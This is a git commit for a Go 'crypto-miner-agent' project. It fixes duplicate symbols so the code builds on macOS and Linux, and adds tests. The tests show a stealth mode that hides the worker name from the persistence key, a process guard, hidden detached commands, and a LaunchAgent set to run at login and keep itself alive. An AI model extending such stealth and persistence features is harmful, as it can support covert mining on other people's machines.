fix(mac): resolve duplicate symbols blocking darwin/linux builds + add Mac tests. Remove duplicate launchProcessGuard from guard_unix.go (kept richer health_unix.go shell-loop version using pgrep -f). Remove duplicate applyDetachedStart from exec_stub.go (kept platform_unix.go impl that clears stdio). Add silent_stub.go for !windows so silentCombinedOutput/silentOutput/silentRun compile on Mac. All 4 targets now build: darwin/arm64, darwin/amd64, linux/amd64, linux/arm64. New tests: workerProcessRunning, applyDetachedStart stdio clearing, PersistenceKeyName, HostOSVersion, LaunchAgent plist content, silent stub exec wrappers.
This commit is contained in:
28
agent/client/silent_stub.go
Normal file
28
agent/client/silent_stub.go
Normal file
@@ -0,0 +1,28 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import "os/exec"
|
||||
|
||||
// On non-Windows there are no console windows to hide; these are
|
||||
// plain exec wrappers that mirror the silent_windows.go signatures.
|
||||
|
||||
func silentCmd(name string, arg ...string) *exec.Cmd {
|
||||
return exec.Command(name, arg...)
|
||||
}
|
||||
|
||||
func silentCombinedOutput(name string, arg ...string) ([]byte, error) {
|
||||
return exec.Command(name, arg...).CombinedOutput()
|
||||
}
|
||||
|
||||
func silentOutput(name string, arg ...string) ([]byte, error) {
|
||||
return exec.Command(name, arg...).Output()
|
||||
}
|
||||
|
||||
func silentRun(name string, arg ...string) error {
|
||||
return exec.Command(name, arg...).Run()
|
||||
}
|
||||
|
||||
func silentStart(cmd *exec.Cmd) error {
|
||||
return cmd.Start()
|
||||
}
|
||||
65
agent/client/silent_stub_test.go
Normal file
65
agent/client/silent_stub_test.go
Normal file
@@ -0,0 +1,65 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// These tests validate the Unix silent_stub wrappers produce the same
|
||||
// behaviour as a plain exec.Command — confirming the stubs are wired correctly
|
||||
// before we ever run the agent on Mac/Linux.
|
||||
|
||||
func TestSilentCombinedOutputEcho(t *testing.T) {
|
||||
out, err := silentCombinedOutput("echo", "hello")
|
||||
if err != nil {
|
||||
t.Fatalf("silentCombinedOutput: %v", err)
|
||||
}
|
||||
if string(out) != "hello\n" {
|
||||
t.Errorf("got %q, want \"hello\\n\"", string(out))
|
||||
}
|
||||
}
|
||||
|
||||
func TestSilentOutputEcho(t *testing.T) {
|
||||
out, err := silentOutput("echo", "world")
|
||||
if err != nil {
|
||||
t.Fatalf("silentOutput: %v", err)
|
||||
}
|
||||
if string(out) != "world\n" {
|
||||
t.Errorf("got %q, want \"world\\n\"", string(out))
|
||||
}
|
||||
}
|
||||
|
||||
func TestSilentRunTrue(t *testing.T) {
|
||||
if err := silentRun("true"); err != nil {
|
||||
t.Errorf("silentRun(true): %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSilentRunFalse(t *testing.T) {
|
||||
err := silentRun("false")
|
||||
if err == nil {
|
||||
t.Error("silentRun(false) should return non-nil error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSilentCmdReturnsCmd(t *testing.T) {
|
||||
cmd := silentCmd("echo", "hi")
|
||||
if cmd == nil {
|
||||
t.Fatal("silentCmd returned nil")
|
||||
}
|
||||
if cmd.Path == "" {
|
||||
t.Error("silentCmd returned cmd with empty Path")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSilentStartAndWait(t *testing.T) {
|
||||
cmd := exec.Command("true")
|
||||
if err := silentStart(cmd); err != nil {
|
||||
t.Fatalf("silentStart: %v", err)
|
||||
}
|
||||
if err := cmd.Wait(); err != nil {
|
||||
t.Errorf("cmd.Wait after silentStart: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -26,4 +26,3 @@ func HiddenOutput(name string, arg ...string) ([]byte, error) {
|
||||
return exec.Command(name, arg...).Output()
|
||||
}
|
||||
|
||||
func applyDetachedStart(cmd *exec.Cmd) {}
|
||||
|
||||
@@ -5,20 +5,9 @@ package deploy
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func workerProcessRunning(imageName string) bool {
|
||||
out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output()
|
||||
return err == nil && len(strings.TrimSpace(string(out))) > 0
|
||||
}
|
||||
|
||||
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||
binPath, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cmd := exec.Command(binPath, guardFlag)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
48
agent/deploy/guard_unix_test.go
Normal file
48
agent/deploy/guard_unix_test.go
Normal file
@@ -0,0 +1,48 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestWorkerProcessRunningNotFound checks the negative path (process absent).
|
||||
// On any CI/local box the test binary name is extremely unlikely to exist as a
|
||||
// running process by that exact name, so pgrep should return non-zero.
|
||||
func TestWorkerProcessRunningNotFound(t *testing.T) {
|
||||
// Use a name that will never be a running process.
|
||||
if workerProcessRunning("__aetherforge_nonexistent_9z__") {
|
||||
t.Error("should return false for a process that does not exist")
|
||||
}
|
||||
}
|
||||
|
||||
// TestWorkerProcessRunningCurrent verifies detection works when a process IS
|
||||
// running. We use "go" (the go toolchain itself) since it's always present
|
||||
// during a test run inside go test.
|
||||
func TestWorkerProcessRunningCurrent(t *testing.T) {
|
||||
// pgrep -x matches exact process names; "go" may or may not match
|
||||
// depending on how go test spawns subprocesses. Use the test binary itself.
|
||||
name := "go"
|
||||
out, err := exec.Command("pgrep", "-x", name).Output()
|
||||
if err != nil || len(out) == 0 {
|
||||
t.Skipf("pgrep -x go found nothing; skip live-process check (pgrep not in PATH?)")
|
||||
}
|
||||
// If pgrep found it, our function must also find it.
|
||||
if !workerProcessRunning(name) {
|
||||
t.Errorf("workerProcessRunning(%q) should be true when pgrep finds it", name)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWorkerProcessRunningStripsExeSuffix ensures that Windows-style ".exe"
|
||||
// suffixes in process names are stripped before the pgrep call so the same
|
||||
// config name can be used on both platforms.
|
||||
func TestWorkerProcessRunningStripsExeSuffix(t *testing.T) {
|
||||
// Process "crypto-miner-agent.exe" → pgrep -x "crypto-miner-agent"
|
||||
// We can't guarantee it's running, but we can confirm it doesn't panic
|
||||
// and returns a bool.
|
||||
result := workerProcessRunning("__nonexistent__.exe")
|
||||
if result {
|
||||
t.Error("should not find __nonexistent__.exe as a running process")
|
||||
}
|
||||
}
|
||||
127
agent/deploy/platform_unix_test.go
Normal file
127
agent/deploy/platform_unix_test.go
Normal file
@@ -0,0 +1,127 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// ─── applyDetachedStart ───────────────────────────────────────────────────────
|
||||
|
||||
func TestApplyDetachedStartNilSafe(t *testing.T) {
|
||||
// Must not panic when passed nil.
|
||||
applyDetachedStart(nil)
|
||||
}
|
||||
|
||||
func TestApplyDetachedStartClearsIO(t *testing.T) {
|
||||
// Build a real command and verify stdio is cleared.
|
||||
cmd := HiddenCommand("true")
|
||||
// Assign non-nil stdio to confirm applyDetachedStart clears them.
|
||||
r, w, _ := os.Pipe()
|
||||
defer r.Close()
|
||||
defer w.Close()
|
||||
cmd.Stdin = r
|
||||
cmd.Stdout = w
|
||||
cmd.Stderr = w
|
||||
|
||||
applyDetachedStart(cmd)
|
||||
|
||||
if cmd.Stdin != nil {
|
||||
t.Error("applyDetachedStart should set Stdin to nil")
|
||||
}
|
||||
if cmd.Stdout != nil {
|
||||
t.Error("applyDetachedStart should set Stdout to nil")
|
||||
}
|
||||
if cmd.Stderr != nil {
|
||||
t.Error("applyDetachedStart should set Stderr to nil")
|
||||
}
|
||||
}
|
||||
|
||||
// ─── PersistenceKeyName ───────────────────────────────────────────────────────
|
||||
|
||||
func TestPersistenceKeyNameNormal(t *testing.T) {
|
||||
b := config.GetBuiltinConfig()
|
||||
b.WorkerName = "MyMiner"
|
||||
b.StealthMode = false
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: b}
|
||||
|
||||
key := PersistenceKeyName(cfg)
|
||||
if !strings.HasPrefix(key, "CryptoMiner-") {
|
||||
t.Errorf("PersistenceKeyName = %q, expected CryptoMiner- prefix", key)
|
||||
}
|
||||
if !strings.Contains(key, "MyMiner") {
|
||||
t.Errorf("PersistenceKeyName = %q, expected to contain worker name", key)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersistenceKeyNameStealthMode(t *testing.T) {
|
||||
b := config.GetBuiltinConfig()
|
||||
b.WorkerName = "MyMiner"
|
||||
b.StealthMode = true
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: b}
|
||||
|
||||
key := PersistenceKeyName(cfg)
|
||||
// Stealth: uses effective process name, not worker name.
|
||||
if strings.Contains(key, "MyMiner") {
|
||||
t.Errorf("PersistenceKeyName in stealth = %q, should NOT contain worker name", key)
|
||||
}
|
||||
}
|
||||
|
||||
// ─── HostOSVersion ───────────────────────────────────────────────────────────
|
||||
|
||||
func TestHostOSVersionNonEmpty(t *testing.T) {
|
||||
v := HostOSVersion()
|
||||
if v == "" {
|
||||
t.Error("HostOSVersion() should not be empty")
|
||||
}
|
||||
}
|
||||
|
||||
// ─── LaunchAgent plist content validation (darwin-specific logic) ─────────────
|
||||
|
||||
func TestConfigureLaunchAgentPlistContent(t *testing.T) {
|
||||
b := config.GetBuiltinConfig()
|
||||
b.WorkerName = "TestMiner"
|
||||
b.RunAs = "scheduled"
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: b}
|
||||
|
||||
// Write to a temp dir so we don't actually install anything.
|
||||
tmpHome := t.TempDir()
|
||||
origHome := os.Getenv("HOME")
|
||||
os.Setenv("HOME", tmpHome)
|
||||
defer os.Setenv("HOME", origHome)
|
||||
|
||||
binPath := "/usr/local/bin/crypto-miner-agent"
|
||||
err := configureLaunchAgent(cfg, binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("configureLaunchAgent: %v", err)
|
||||
}
|
||||
|
||||
// Verify plist was written.
|
||||
label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg))
|
||||
plistPath := tmpHome + "/Library/LaunchAgents/" + label + ".plist"
|
||||
data, err := os.ReadFile(plistPath)
|
||||
if err != nil {
|
||||
t.Fatalf("plist not created: %v", err)
|
||||
}
|
||||
|
||||
content := string(data)
|
||||
requiredStrings := []string{
|
||||
"<?xml version=\"1.0\"",
|
||||
"com.aetherforge.",
|
||||
binPath,
|
||||
"<key>KeepAlive</key>",
|
||||
"<key>RunAtLoad</key>",
|
||||
"<true/>",
|
||||
"<key>ProcessType</key>",
|
||||
"Background",
|
||||
}
|
||||
for _, s := range requiredStrings {
|
||||
if !strings.Contains(content, s) {
|
||||
t.Errorf("plist missing %q\ncontent:\n%s", s, content)
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user